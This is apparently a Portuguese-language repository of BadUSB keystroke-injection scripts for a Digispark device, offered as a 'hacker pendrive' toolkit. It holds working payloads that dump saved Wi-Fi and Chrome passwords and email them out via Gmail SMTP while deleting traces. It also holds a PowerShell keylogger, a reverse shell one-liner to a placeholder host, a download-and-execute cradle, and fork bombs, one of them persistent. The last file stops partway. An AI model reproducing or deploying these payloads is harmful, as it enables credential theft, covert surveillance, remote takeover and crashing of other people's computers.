├── DigiKeyboardPtBr.h
├── HackearWIFI
├── codigo-wifi.txt
└── enviar-email.ino
├── Keylogger
├── keylogger-code.ps1
└── Κeylogger.ino
├── README.md
├── Reverse_Shell
├── Invoke-PowerShellTcpOneLine.ps1
└── Reverse_Shell.ino
├── Senhas_Navegador
└── roubas-senhas.ino
├── Talker
└── Talker.ino
├── TravarPC
├── Fork_Bomb.ino
└── Persistent_Fork_Bomb.ino
├── Trocar_Wallpaper
├── TrocarWallpaper.ino
└── script.txt
├── Wallpaper_Prank
└── Wallpaper_Prank.ino
└── logo.png
/DigiKeyboardPtBr.h:
--------------------------------------------------------------------------------
1 | //Mapeado por Eduardo Gadotti https://github.com/Gadotti em 27/07/2020
2 |
3 | #include "DigiKeyboard.h"
4 | #ifndef DIGIKEYBOARDDE_H
5 | #define DIGIKEYBOARDDE_H
6 |
7 |
8 | #define DE_MOD_CONTROL_LEFT (1<<8)
9 | #define DE_MOD_SHIFT_LEFT (1<<9)
10 | #define DE_MOD_ALT_LEFT (1<<10)
11 | #define DE_MOD_GUI_LEFT (1<<11)
12 | #define DE_MOD_CONTROL_RIGHT (1<<12)
13 | #define DE_MOD_SHIFT_RIGHT (1<<13)
14 | #define DE_MOD_ALT_RIGHT (1<<14)
15 | #define DE_MOD_GUI_RIGHT (1<<15)
16 | const uint16_t _ascii_de_map[128] PROGMEM =
17 | {
18 | 0x00, // NUL
19 | 0x00, // SOH
20 | 0x00, // STX
21 | 0x00, // ETX
22 | 0x00, // EOT
23 | 0x00, // ENQ
24 | 0x00, // ACK
25 | 0x00, // BEL
26 | 0x2a, // BS Backspace
27 | 0x2b, // TAB Tab
28 | 0x28, // LF Enter
29 | 0x00, // VT
30 | 0x00, // FF
31 | 0x00, // CR
32 | 0x00, // SO
33 | 0x00, // SI
34 | 0x00, // DEL
35 | 0x00, // DC1
36 | 0x00, // DC2
37 | 0x00, // DC3
38 | 0x00, // DC4
39 | 0x00, // NAK
40 | 0x00, // SYN
41 | 0x00, // ETB
42 | 0x00, // CAN
43 | 0x00, // EM
44 | 0x00, // SUB
45 | 0x00, // ESC
46 | 0x00, // FS
47 | 0x00, // GS
48 | 0x00, // RS
49 | 0x00, // US
50 | 0x2c, // ' '
51 | 0x1e|DE_MOD_SHIFT_LEFT, // !
52 | 0x35|DE_MOD_SHIFT_LEFT, //0x1F|DE_MOD_SHIFT_LEFT, // "
53 | 0x20|DE_MOD_SHIFT_LEFT, //0x38, // #
54 | 0x21|DE_MOD_SHIFT_LEFT, // $
55 | 0x22|DE_MOD_SHIFT_LEFT, // %
56 | 0x24|DE_MOD_SHIFT_LEFT, //0x23|DE_MOD_SHIFT_LEFT, // &
57 | 0x35, //0x32|DE_MOD_SHIFT_LEFT, // '
58 | 0x26|DE_MOD_SHIFT_LEFT, //0x25|DE_MOD_SHIFT_LEFT, // (
59 | 0x27|DE_MOD_SHIFT_LEFT, //0x26|DE_MOD_SHIFT_LEFT, // )
60 | 0x25|DE_MOD_SHIFT_LEFT, //0x30|DE_MOD_SHIFT_LEFT, // *
61 | 0x2E|DE_MOD_SHIFT_LEFT, //0x30, // +
62 | 0x36, // ,
63 | 0x2D, //0x38, // -
64 | 0x37, // .
65 | 0x14|DE_MOD_ALT_RIGHT, //0x24|DE_MOD_SHIFT_LEFT, // /
66 | 0x27, // 0
67 | 0x1e, // 1
68 | 0x1f, // 2
69 | 0x20, // 3
70 | 0x21, // 4
71 | 0x22, // 5
72 | 0x23, // 6
73 | 0x24, // 7
74 | 0x25, // 8
75 | 0x26, // 9
76 | 0x38|DE_MOD_SHIFT_LEFT, //0x37|DE_MOD_SHIFT_LEFT, // :
77 | 0x38, //0x36|DE_MOD_SHIFT_LEFT, // ;
78 | 0x36|DE_MOD_SHIFT_LEFT, //0x64, // <
79 | 0x2E, //0x27|DE_MOD_SHIFT_LEFT, // =
80 | 0x37|DE_MOD_SHIFT_LEFT, //0x64|DE_MOD_SHIFT_LEFT, // >
81 | KEY_W|DE_MOD_ALT_RIGHT, //0x2D|DE_MOD_SHIFT_LEFT, // ?
82 | 0x1f|DE_MOD_SHIFT_LEFT, //0x14|DE_MOD_ALT_RIGHT, // @
83 | 0x04|DE_MOD_SHIFT_LEFT, // A
84 | 0x05|DE_MOD_SHIFT_LEFT, // B
85 | 0x06|DE_MOD_SHIFT_LEFT, // C
86 | 0x07|DE_MOD_SHIFT_LEFT, // D
87 | 0x08|DE_MOD_SHIFT_LEFT, // E
88 | 0x09|DE_MOD_SHIFT_LEFT, // F
89 | 0x0a|DE_MOD_SHIFT_LEFT, // G
90 | 0x0b|DE_MOD_SHIFT_LEFT, // H
91 | 0x0c|DE_MOD_SHIFT_LEFT, // I
92 | 0x0d|DE_MOD_SHIFT_LEFT, // J
93 | 0x0e|DE_MOD_SHIFT_LEFT, // K
94 | 0x0f|DE_MOD_SHIFT_LEFT, // L
95 | 0x10|DE_MOD_SHIFT_LEFT, // M
96 | 0x11|DE_MOD_SHIFT_LEFT, // N
97 | 0x12|DE_MOD_SHIFT_LEFT, // O
98 | 0x13|DE_MOD_SHIFT_LEFT, // P
99 | 0x14|DE_MOD_SHIFT_LEFT, // Q
100 | 0x15|DE_MOD_SHIFT_LEFT, // R
101 | 0x16|DE_MOD_SHIFT_LEFT, // S
102 | 0x17|DE_MOD_SHIFT_LEFT, // T
103 | 0x18|DE_MOD_SHIFT_LEFT, // U
104 | 0x19|DE_MOD_SHIFT_LEFT, // V
105 | 0x1a|DE_MOD_SHIFT_LEFT, // W
106 | 0x1b|DE_MOD_SHIFT_LEFT, // X
107 | 0x1c|DE_MOD_SHIFT_LEFT, //0x1d|DE_MOD_SHIFT_LEFT, // Y
108 | 0x1d|DE_MOD_SHIFT_LEFT, //0x1c|DE_MOD_SHIFT_LEFT, // Z
109 | 0x30, //0x25|DE_MOD_ALT_RIGHT, // [
110 | 0x64, //0x2d|DE_MOD_ALT_RIGHT, // bslash
111 | 0x32, //0x26|DE_MOD_ALT_RIGHT, // ]
112 | 0x35, // ^
113 | 0x2D|DE_MOD_SHIFT_LEFT, //0x38|DE_MOD_SHIFT_LEFT, // _
114 | 0x2E|DE_MOD_SHIFT_LEFT, // `
115 | 0x04, // a
116 | 0x05, // b
117 | 0x06, // c
118 | 0x07, // d
119 | 0x08, // e
120 | 0x09, // f
121 | 0x0a, // g
122 | 0x0b, // h
123 | 0x0c, // i
124 | 0x0d, // j
125 | 0x0e, // k
126 | 0x0f, // l
127 | 0x10, // m
128 | 0x11, // n
129 | 0x12, // o
130 | 0x13, // p
131 | 0x14, // q
132 | 0x15, // r
133 | 0x16, // s
134 | 0x17, // t
135 | 0x18, // u
136 | 0x19, // v
137 | 0x1a, // w
138 | 0x1b, // x
139 | 0x1c, //0x1d, // y
140 | 0x1d, //0x1c, // z
141 | 0x30|DE_MOD_SHIFT_LEFT, //0x24|DE_MOD_ALT_RIGHT, // {
142 | 0x64|DE_MOD_SHIFT_LEFT, // |
143 | 0x32|DE_MOD_SHIFT_LEFT, //0x27|DE_MOD_ALT_RIGHT, // }
144 | 0x64, //0x30|DE_MOD_ALT_RIGHT, // ~
145 | 0 // DEL
146 | };
147 | //0x7C|0x0040, // |
148 |
149 | class DigiKeyboardDevicePtBr : public DigiKeyboardDevice{
150 | public:
151 | size_t write(uint8_t chr) {
152 |
153 | //çÇ
154 | if (chr == 195) {
155 | sendKeyStroke(0x33);
156 | //sendKeyStroke(0x33, MOD_SHIFT_LEFT);
157 | }
158 | else {
159 | unsigned int temp = pgm_read_word_near(_ascii_de_map + chr);
160 | unsigned char low = temp & 0xFF;
161 | unsigned char high = (temp >> 8) & 0xFF;
162 | sendKeyStroke(low,high);
163 | }
164 |
165 | return 1;
166 | }
167 | void sendKeyReport(uchar *array,const unsigned int size){
168 | while (!usbInterruptIsReady()) {
169 | // Note: We wait until we can send keyPress
170 | // so we know the previous keyPress was
171 | // sent.
172 | usbPoll();
173 | _delay_ms(5);
174 | }
175 |
176 | usbSetInterrupt(array, size);
177 | }
178 | };
179 | DigiKeyboardDevicePtBr DigiKeyboardPtBr = DigiKeyboardDevicePtBr();
180 | #endif //DIGIKEYBOARDDE_H
181 |
--------------------------------------------------------------------------------
/HackearWIFI/codigo-wifi.txt:
--------------------------------------------------------------------------------
1 | powershell -NoP -NonI -W Hidden -Exec Bypass "(netsh wlan show profiles) | Select-String '\\:(.+)$' | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name=$name key=clear)} | Select-String 'Key Content\\W+\\:(.+)$' | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Export-Csv c:\\windows\\temp\\temp.csv; cp c:\\windows\\temp\\temp.csv -destination $((gwmi -Query \\"Select * from Win32_LogicalDisk where VolumeName='USB_DRIVE_LABEL'\\").DeviceID); ri c:\\windows\\temp\\temp.csv -force
2 |
3 |
4 |
--------------------------------------------------------------------------------
/HackearWIFI/enviar-email.ino:
--------------------------------------------------------------------------------
1 |
2 | #include "DigiKeyboard.h"
3 | void setup() {
4 | }
5 |
6 | char mode[] = "powershell -nop -exec bypass";
7 | char separator[] = "read-host";
8 |
9 | void loop() {
10 | DigiKeyboard.sendKeyStroke(0);
11 | DigiKeyboard.delay(500);
12 | DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
13 | DigiKeyboard.delay(500);
14 | DigiKeyboard.print(mode);
15 | DigiKeyboard.delay(500);
16 | DigiKeyboard.sendKeyStroke(KEY_ENTER);
17 | DigiKeyboard.delay(500);
18 | DigiKeyboard.delay(500);
19 | DigiKeyboard.println("cd $env:temp");
20 | DigiKeyboard.delay(1000);
21 | DigiKeyboard.println("netsh wlan export profile key=clear");
22 | DigiKeyboard.delay(1000);
23 | DigiKeyboard.println("powershell Select-String -Path Wi*.xml -Pattern 'keyMaterial' > temp.csv");
24 | DigiKeyboard.delay(1000);
25 | DigiKeyboard.sendKeyStroke(KEY_ENTER);
26 | DigiKeyboard.delay(5000);
27 |
28 | //from email address:
29 | DigiKeyboard.print(F("$email = \"EMAIL\";"));
30 | //to email address
31 | DigiKeyboard.print(F("$addressee = \"SEU EMAIL\";"));
32 | // o lugar onde vai salvar as senhas
33 | DigiKeyboard.print(F("$tempcsv = \"$env:temp\\temp.csv\";"));
34 | // senha da sua conta
35 | DigiKeyboard.print(F("$pass = \"SENHA\";"));
36 | DigiKeyboard.print(F("$smtpServer = \"smtp.gmail.com\";"));
37 | DigiKeyboard.print(F("$port = \"587\";"));
38 |
39 |
40 |
41 | DigiKeyboard.print(F("$securestring = $pass | ConvertTo-SecureString -AsPlainText -Force;"));
42 | DigiKeyboard.print(F("$cred = New-Object System.Management.Automation.PSCredential -ArgumentList $email, $securestring;"));
43 | DigiKeyboard.print(F("$msg = new-object Net.Mail.MailMessage;"));
44 | DigiKeyboard.print(F("$smtp = new-object Net.Mail.SmtpClient($smtpServer, $port);"));
45 | DigiKeyboard.print(F("$smtp.EnableSsl = $true;"));
46 | DigiKeyboard.print(F("$msg.From = \"$email\";"));
47 | DigiKeyboard.print(F("$msg.To.Add(\"$addressee\");"));
48 | DigiKeyboard.print(F("$msg.Attachments.Add(\"$tempcsv\");"));
49 | DigiKeyboard.print(F("$msg.BodyEncoding = [system.Text.Encoding]::Unicode;"));
50 | DigiKeyboard.print(F("$msg.SubjectEncoding = [system.Text.Encoding]::Unicode;"));
51 | DigiKeyboard.print(F("$msg.IsBodyHTML = $true ;"));
52 | DigiKeyboard.print(F("$msg.Subject = \"Senhas WIFI\";"));
53 | DigiKeyboard.print(F("$msg.Body = \"
Aqui as suas senhas
olha o arquivo...\"; "));
54 | DigiKeyboard.print(F("$SMTP.Credentials = $cred;"));
55 | DigiKeyboard.print(F("$smtp.Send($msg);"));
56 | DigiKeyboard.delay(500);
57 | DigiKeyboard.sendKeyStroke(KEY_ENTER);
58 | DigiKeyboard.delay(500);
59 | DigiKeyboard.print(separator);
60 | DigiKeyboard.delay(500);
61 | DigiKeyboard.sendKeyStroke(KEY_ENTER);
62 | DigiKeyboard.delay(500);
63 | DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
64 | DigiKeyboard.delay(500);
65 | DigiKeyboard.print(mode);
66 | DigiKeyboard.delay(500);
67 | DigiKeyboard.sendKeyStroke(KEY_ENTER);
68 | DigiKeyboard.delay(500);
69 | DigiKeyboard.print(F("del (Get-PSReadlineOption).HistorySavePath;"));
70 | DigiKeyboard.sendKeyStroke(KEY_ENTER);
71 | DigiKeyboard.delay(500);
72 | DigiKeyboard.print(F("rm \"$env:temp\\temp.csv\""));
73 | DigiKeyboard.sendKeyStroke(KEY_ENTER);
74 | DigiKeyboard.delay(100);
75 | DigiKeyboard.print(separator);
76 | DigiKeyboard.delay(500);
77 | DigiKeyboard.sendKeyStroke(KEY_ENTER);
78 | }
79 |
--------------------------------------------------------------------------------
/Keylogger/keylogger-code.ps1:
--------------------------------------------------------------------------------
1 | #requires -Version 2
2 | function Start-KeyLogger($Path="$env:temp\keylogger.txt")
3 | {
4 | # Signatures for API Calls
5 | $signatures = @'
6 | [DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)]
7 | public static extern short GetAsyncKeyState(int virtualKeyCode);
8 | [DllImport("user32.dll", CharSet=CharSet.Auto)]
9 | public static extern int GetKeyboardState(byte[] keystate);
10 | [DllImport("user32.dll", CharSet=CharSet.Auto)]
11 | public static extern int MapVirtualKey(uint uCode, int uMapType);
12 | [DllImport("user32.dll", CharSet=CharSet.Auto)]
13 | public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);
14 | '@
15 |
16 | # load signatures and make members available
17 | $API = Add-Type -MemberDefinition $signatures -Name 'Win32' -Namespace API -PassThru
18 |
19 | # create output file
20 | $null = New-Item -Path $Path -ItemType File -Force
21 |
22 | try
23 | {
24 | Write-Host 'Recording key presses. Press CTRL+C to see results.' -ForegroundColor Red
25 |
26 | # create endless loop. When user presses CTRL+C, finally-block
27 | # executes and shows the collected key presses
28 | while ($true) {
29 | Start-Sleep -Milliseconds 40
30 |
31 | # scan all ASCII codes above 8
32 | for ($ascii = 9; $ascii -le 254; $ascii++) {
33 | # get current key state
34 | $state = $API::GetAsyncKeyState($ascii)
35 |
36 | # is key pressed?
37 | if ($state -eq -32767) {
38 | $null = [console]::CapsLock
39 |
40 | # translate scan code to real code
41 | $virtualKey = $API::MapVirtualKey($ascii, 3)
42 |
43 | # get keyboard state for virtual keys
44 | $kbstate = New-Object Byte[] 256
45 | $checkkbstate = $API::GetKeyboardState($kbstate)
46 |
47 | # prepare a StringBuilder to receive input key
48 | $mychar = New-Object -TypeName System.Text.StringBuilder
49 |
50 | # translate virtual key
51 | $success = $API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0)
52 |
53 | if ($success)
54 | {
55 | # add key to logger file
56 | [System.IO.File]::AppendAllText($Path, $mychar, [System.Text.Encoding]::Unicode)
57 | }
58 | }
59 | }
60 | }
61 | }
62 | finally
63 | {
64 | # open logger file in Notepad
65 | notepad $Path
66 | }
67 | }
68 |
69 | # records all key presses until script is aborted by pressing CTRL+C
70 | # will then open the file with collected key codes
71 | Start-KeyLogger
--------------------------------------------------------------------------------
/Keylogger/Κeylogger.ino:
--------------------------------------------------------------------------------
1 | #include "DigiKeyboard.h"
2 |
3 | void setup() {
4 | //empty
5 | }
6 | void loop() {
7 | // Open Powershell
8 | DigiKeyboard.sendKeyStroke(0);
9 | DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
10 | DigiKeyboard.delay(500);
11 | DigiKeyboard.print("powershell");
12 | DigiKeyboard.delay(500);
13 | DigiKeyboard.sendKeyStroke(KEY_ENTER);
14 | DigiKeyboard.delay(5000);
15 |
16 | // Write Keylogger Function
17 | DigiKeyboard.print(F("$code = {function My-Keypresses($Path=\"$env:temp\\mykeypress.txt\") \n{\n $signatures = @\'\n[DllImport(\"user32.dll\", CharSet=CharSet.Auto, ExactSpelling=true)] \npublic static extern short GetAsyncKeyState(int virtualKeyCode); \n[DllImport(\"user32.dll\", CharSet=CharSet.Auto)]\npublic static extern int GetKeyboardState(byte[] keystate);\n[DllImport(\"user32.dll\", CharSet=CharSet.Auto)]\npublic static extern int MapVirtualKey(uint uCode, int uMapType);\n[DllImport(\"user32.dll\", CharSet=CharSet.Auto)]\npublic static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);\n\'@\n\n $API = Add-Type -MemberDefinition $signatures -Name \'Win32\' -Namespace API -PassThru\n \n $null = New-Item -Path $Path -ItemType File -Force\n\n try\n {\n\n while ($true) {\n Start-Sleep -Milliseconds 40\n \n for ($ascii = 9; $ascii -le 254; $ascii++) {\n $state = $API::GetAsyncKeyState($ascii)\n\n if ($state -eq -32767) {\n $null = [console]::CapsLock\n\n $virtualKey = $API::MapVirtualKey($ascii, 3)\n\n $kbstate = New-Object Byte[] 256\n $checkkbstate = $API::GetKeyboardState($kbstate)\n\n $mychar = New-Object -TypeName System.Text.StringBuilder\n\n $success = $API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0)\n\n if ($success) \n {\n [System.IO.File]::AppendAllText($Path, $mychar, [System.Text.Encoding]::Unicode) \n }\n }\n }\n }\n }\n finally\n {\n }\n}}; $timeoutSeconds = 10; $j = Start-Job -ScriptBlock $code; if (Wait-Job $j -Timeout $timeoutSeconds) { Receive-Job $j }; Remove-Job -force $j"));
18 | DigiKeyboard.delay(500);
19 | DigiKeyboard.sendKeyStroke(KEY_ENTER);
20 | for(;;){ /*empty*/ }
21 | }
22 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 | Scripts do Pendrive Hacker
7 |
8 | ## Funcionalidades
9 | - [Trocar o Wallpaper](/Trocar_Wallpaper)
10 | - [Roubar Senhas WIFI](/Senhas_WIFI)
11 | - [Roubar Senhas do Navegador](/Senhas_Navegador)
12 | - [Keylogger](/Keylogger)
13 | - [Reverse Shell](/Reverse_Shell)
14 | - [Fazer o PC Falar](/Talker)
15 | - [Pegadinha Wallpaper](/Wallpaper_Prank)
16 | - [Travar o PC](/TravarPC)
17 |
18 |
19 | ## Como usar?
20 |
21 | - Baixe o código `exemplo.ino` e abra na IDE do Arduino
22 | - Clique em Enviar
23 | - Conecte o Digispark e o script vai ser carregado automaticamente
--------------------------------------------------------------------------------
/Reverse_Shell/Invoke-PowerShellTcpOneLine.ps1:
--------------------------------------------------------------------------------
1 | $sm=(New-Object Net.Sockets.TCPClient("HOST_IP_ADDRESS",4444)).GetStream();[byte[]]$bt=0..65535|%{0};while(($i=$sm.Read($bt,0,$bt.Length)) -ne 0){;$d=(New-Object Text.ASCIIEncoding).GetString($bt,0,$i);$st=([text.encoding]::ASCII).GetBytes((iex $d 2>&1));$sm.Write($st,0,$st.Length)}
2 |
--------------------------------------------------------------------------------
/Reverse_Shell/Reverse_Shell.ino:
--------------------------------------------------------------------------------
1 | #include "DigiKeyboard.h"
2 | void setup() {
3 | }
4 |
5 | void loop() {
6 | DigiKeyboard.sendKeyStroke(0);
7 | DigiKeyboard.delay(500);
8 | DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
9 | DigiKeyboard.delay(500);
10 | DigiKeyboard.print("powershell \"IEX (New-Object Net.WebClient).DownloadString('URL_DO _CODIGO');\"");
11 | DigiKeyboard.sendKeyStroke(KEY_ENTER);
12 | for (;;) {}
13 | }
14 |
--------------------------------------------------------------------------------
/Senhas_Navegador/roubas-senhas.ino:
--------------------------------------------------------------------------------
1 | #include "DigiKeyboard.h"
2 | void setup() {
3 | }
4 |
5 | void loop() {
6 | DigiKeyboard.sendKeyStroke(0);
7 | DigiKeyboard.delay(500);
8 | // Abrindo o google
9 | DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
10 | DigiKeyboard.delay(500);
11 | DigiKeyboard.print("chrome");
12 | DigiKeyboard.delay(500);
13 | DigiKeyboard.sendKeyStroke(KEY_ENTER);
14 | DigiKeyboard.delay(500);
15 | // Indo até as senhas
16 | DigiKeyboard.print("chrome://settings/passwords");
17 | DigiKeyboard.delay(500);
18 | DigiKeyboard.sendKeyStroke(KEY_ENTER);
19 | DigiKeyboard.delay(500);
20 | DigiKeyboard.print("\t\t\t\t\t\t\t");
21 | DigiKeyboard.delay(500);
22 | DigiKeyboard.sendKeyStroke(KEY_ENTER);
23 | DigiKeyboard.delay(500);
24 | DigiKeyboard.sendKeyStroke(KEY_ENTER);
25 | DigiKeyboard.delay(500);
26 | DigiKeyboard.sendKeyStroke(KEY_ENTER);
27 | DigiKeyboard.delay(500);
28 | DigiKeyboard.print("senhas.csv");
29 | DigiKeyboard.delay(500);
30 | DigiKeyboard.print("\t\t\t");
31 | DigiKeyboard.delay(500);
32 | DigiKeyboard.sendKeyStroke(KEY_ENTER);
33 | // Salvando as senhas
34 | DigiKeyboard.delay(500);
35 | DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
36 | DigiKeyboard.delay(500);
37 | DigiKeyboard.print("powershell");
38 | DigiKeyboard.delay(500);
39 | DigiKeyboard.sendKeyStroke(KEY_ENTER);
40 | DigiKeyboard.delay(500);
41 | //from email address:
42 | DigiKeyboard.print(F("$email = \"EMAIL\";"));
43 | //to email address
44 | DigiKeyboard.print(F("$addressee = \" SEU EMAIL\";"));
45 | // o lugar onde vai salvar as senhas
46 | DigiKeyboard.print(F("$tempcsv = \"D:\\Pessoal\\Documents\\senhas.csv\";"));
47 | // senha da sua conta
48 | DigiKeyboard.print(F("$pass = \"SENHA\";"));
49 | DigiKeyboard.print(F("$smtpServer = \"smtp.gmail.com\";"));
50 | DigiKeyboard.print(F("$port = \"587\";"));
51 |
52 | DigiKeyboard.print(F("$securestring = $pass | ConvertTo-SecureString -AsPlainText -Force;"));
53 | DigiKeyboard.print(F("$cred = New-Object System.Management.Automation.PSCredential -ArgumentList $email, $securestring;"));
54 | DigiKeyboard.print(F("$msg = new-object Net.Mail.MailMessage;"));
55 | DigiKeyboard.print(F("$smtp = new-object Net.Mail.SmtpClient($smtpServer, $port);"));
56 | DigiKeyboard.print(F("$smtp.EnableSsl = $true;"));
57 | DigiKeyboard.print(F("$msg.From = \"$email\";"));
58 | DigiKeyboard.print(F("$msg.To.Add(\"$addressee\");"));
59 | DigiKeyboard.print(F("$msg.Attachments.Add(\"$tempcsv\");"));
60 | DigiKeyboard.print(F("$msg.BodyEncoding = [system.Text.Encoding]::Unicode;"));
61 | DigiKeyboard.print(F("$msg.SubjectEncoding = [system.Text.Encoding]::Unicode;"));
62 | DigiKeyboard.print(F("$msg.IsBodyHTML = $true ;"));
63 | DigiKeyboard.print(F("$msg.Subject = \"Senhas do Navegador\";"));
64 | DigiKeyboard.print(F("$msg.Body = \" Aqui as suas senhas
olha o arquivo...\"; "));
65 | DigiKeyboard.print(F("$SMTP.Credentials = $cred;"));
66 | DigiKeyboard.print(F("$smtp.Send($msg);"));
67 | DigiKeyboard.delay(500);
68 | DigiKeyboard.sendKeyStroke(KEY_ENTER);
69 | }
70 |
--------------------------------------------------------------------------------
/Talker/Talker.ino:
--------------------------------------------------------------------------------
1 | #include "DigiKeyboard.h"
2 | void setup() {
3 | }
4 |
5 | void loop() {
6 | DigiKeyboard.sendKeyStroke(0);
7 | DigiKeyboard.delay(100);
8 | DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
9 | DigiKeyboard.delay(100);
10 | DigiKeyboard.print("powershell");
11 | DigiKeyboard.sendKeyStroke(KEY_ENTER);
12 | DigiKeyboard.delay(3000);
13 | DigiKeyboard.print("Add-Type -AssemblyName System.speech");
14 | DigiKeyboard.sendKeyStroke(KEY_ENTER);
15 | DigiKeyboard.delay(100);
16 | DigiKeyboard.print("$speak = New-Object System.Speech.Synthesis.SpeechSynthesizer");
17 | DigiKeyboard.sendKeyStroke(KEY_ENTER);
18 | DigiKeyboard.delay(100);
19 | // Descomentar para usar uma voz feminina
20 | //DigiKeyboard.print("$speak.SelectVoice('Microsoft Zira Desktop')");
21 | //DigiKeyboard.sendKeyStroke(KEY_ENTER);
22 | //DigiKeyboard.delay(500);
23 | DigiKeyboard.print("$speak.Speak(\"Here's a joke. Why do Java programmers wear glasses? Because they can't C#.\")");
24 | DigiKeyboard.sendKeyStroke(KEY_ENTER);
25 | DigiKeyboard.delay(100);
26 | DigiKeyboard.print("exit");
27 | DigiKeyboard.sendKeyStroke(KEY_ENTER);
28 | DigiKeyboard.delay(100);
29 | DigiKeyboard.sendKeyStroke(KEY_SPACE, MOD_ALT_LEFT);
30 | DigiKeyboard.sendKeyStroke(KEY_N);
31 | for (;;) {
32 | /*empty*/
33 | }
34 |
35 | }
36 |
--------------------------------------------------------------------------------
/TravarPC/Fork_Bomb.ino:
--------------------------------------------------------------------------------
1 | #include "DigiKeyboard.h"
2 |
3 | void setup() {
4 | }
5 |
6 | void loop() {
7 | DigiKeyboard.sendKeyStroke(0);
8 | DigiKeyboard.delay(500);
9 | DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
10 | DigiKeyboard.delay(500);
11 | DigiKeyboard.print("cmd");
12 | DigiKeyboard.sendKeyStroke(KEY_ENTER);
13 | DigiKeyboard.delay(500);
14 | //Esconde o Terminal
15 | DigiKeyboard.print("MODE CON: COLS=15 LINES=1");
16 | DigiKeyboard.sendKeyStroke(KEY_ENTER);
17 | DigiKeyboard.delay(100);
18 | DigiKeyboard.print("COLOR EF");
19 | DigiKeyboard.sendKeyStroke(KEY_ENTER);
20 | //Ativa the fork bomb
21 | DigiKeyboard.delay(500);
22 | DigiKeyboard.print(F("for /l %x in (0,0,0) do start"));
23 | DigiKeyboard.sendKeyStroke(KEY_ENTER);
24 |
25 | for (;;) {}
26 | }
27 |
--------------------------------------------------------------------------------
/TravarPC/Persistent_Fork_Bomb.ino:
--------------------------------------------------------------------------------
1 | #include "DigiKeyboard.h"
2 |
3 | void setup() {
4 | }
5 |
6 | void loop() {
7 | DigiKeyboard.sendKeyStroke(0);
8 | DigiKeyboard.delay(500);
9 | DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
10 | DigiKeyboard.delay(500);
11 | DigiKeyboard.print("cmd");
12 | DigiKeyboard.sendKeyStroke(KEY_ENTER);
13 | DigiKeyboard.delay(500);
14 | DigiKeyboard.print(F("echo for /l %%x in (0, 0, 0) do start > \"%userprofile%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\fork.bat\""));
15 | DigiKeyboard.delay(500);
16 | DigiKeyboard.sendKeyStroke(KEY_ENTER);
17 | DigiKeyboard.delay(500);
18 | DigiKeyboard.print("exit");
19 | DigiKeyboard.sendKeyStroke(KEY_ENTER);
20 | for(;;){ /*empty*/ }
21 | }
22 |
--------------------------------------------------------------------------------
/Trocar_Wallpaper/TrocarWallpaper.ino:
--------------------------------------------------------------------------------
1 | #include "DigiKeyboard.h"
2 | void setup() {
3 | //empty
4 | }
5 | void loop() {
6 | DigiKeyboard.sendKeyStroke(0);
7 | DigiKeyboard.sendKeyStroke(KEY_D, MOD_GUI_LEFT);
8 | DigiKeyboard.delay(500);
9 | DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
10 | DigiKeyboard.delay(500);
11 | DigiKeyboard.print("powershell");
12 | DigiKeyboard.sendKeyStroke(KEY_ENTER);
13 | DigiKeyboard.delay(500);
14 | DigiKeyboard.print("$client = new-object System.Net.WebClient");
15 | DigiKeyboard.sendKeyStroke(KEY_ENTER);
16 | DigiKeyboard.delay(500);
17 | DigiKeyboard.print("$client.DownloadFile(\"URL_DA_FOTO\" , \"foto.jpg\")");
18 | DigiKeyboard.sendKeyStroke(KEY_ENTER);
19 | DigiKeyboard.delay(500);
20 | DigiKeyboard.print("reg add \"HKCU\\Control Panel\\Desktop\" /v WallPaper /d \"%USERPROFILE%\\foto.jpg\" /f");
21 | DigiKeyboard.delay(500);
22 | DigiKeyboard.sendKeyStroke(KEY_ENTER);
23 | DigiKeyboard.delay(500);
24 | DigiKeyboard.print("RUNDLL32.EXE USER32.DLL,UpdatePerUserSystemParameters ,1 ,True");
25 | DigiKeyboard.sendKeyStroke(KEY_ENTER);
26 | DigiKeyboard.delay(500);
27 | DigiKeyboard.print("exit");
28 | DigiKeyboard.sendKeyStroke(KEY_ENTER);
29 |
30 | for(;;){ /*empty*/ }
31 | }
32 |
--------------------------------------------------------------------------------
/Trocar_Wallpaper/script.txt:
--------------------------------------------------------------------------------
1 |
2 | $client = new-object System.Net.WebClient
3 | $client.DownloadFile("URL_DA_FOTO" , "foto.jpg")
4 | reg add "HKCU\Control Panel\Desktop" /v WallPaper /d "%USERPROFILE%\foto.jpg" /f
5 | RUNDLL32.EXE USER32.DLL,UpdatePerUserSystemParameters ,1 ,True
--------------------------------------------------------------------------------
/Wallpaper_Prank/Wallpaper_Prank.ino:
--------------------------------------------------------------------------------
1 | #include "DigiKeyboard.h"
2 | void setup() {
3 | //empty
4 | }
5 |
6 | void loop() {
7 | DigiKeyboard.sendKeyStroke(0);
8 | DigiKeyboard.sendKeyStroke(KEY_D, MOD_GUI_LEFT);
9 | DigiKeyboard.delay(500);
10 | DigiKeyboard.sendKeyStroke(70, MOD_ALT_LEFT);
11 | DigiKeyboard.delay(500);
12 | DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
13 | DigiKeyboard.delay(500);
